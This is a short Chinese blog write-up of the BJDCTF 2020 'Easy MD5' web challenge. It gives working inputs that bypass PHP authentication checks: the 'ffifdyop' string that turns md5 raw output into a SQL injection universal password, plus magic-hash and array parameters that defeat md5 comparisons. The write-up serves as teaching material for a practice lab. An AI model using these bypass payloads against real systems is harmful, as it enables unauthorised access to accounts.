美文网首页CTF-WEB
2020-BJDCTF-Web-Easy MD5

2020-BJDCTF-Web-Easy MD5

作者: 余生似梦 | 来源:发表于2021-07-05 16:20 被阅读0次

    复现环境

    https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5

    考察知识点

    • 代码审计
    • MD5绕过
    • 弱类型比较

    解题分析

    访问题目是一个查询框,提交查询会传入一个password参数

    查询框

    响应头里有提示md5($pass,true)

    md51

    md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。

    而MD5绕过就是利用二进制字符串和前面的形成闭合,构成万能密码。

    content: ffifdyop
    hex: 276f722736c95d99e921722cf9ed621c
    raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
    string: 'or'6]!r,b
    

    我们输入这个ffifdyop字符串以后出现以下的页面

    ffifdyop

    提示在源码里面

    源码

    if($a != $b && md5($a) == md5($b))

    这个有多种绕过

    ?a=QNKCDZO&b=240610708

    ?a=s878926199a&b=s155964671a

    ?a[]=1&b[]=2

    等等

    弱类型比较绕过

    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))

    弱类型比较变成了强类型比较了,这里就只能用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

    php数组绕过

    相关文章

      网友评论

        本文标题:2020-BJDCTF-Web-Easy MD5

        本文链接:https://www.haomeiwen.com/subject/dhkiultx.html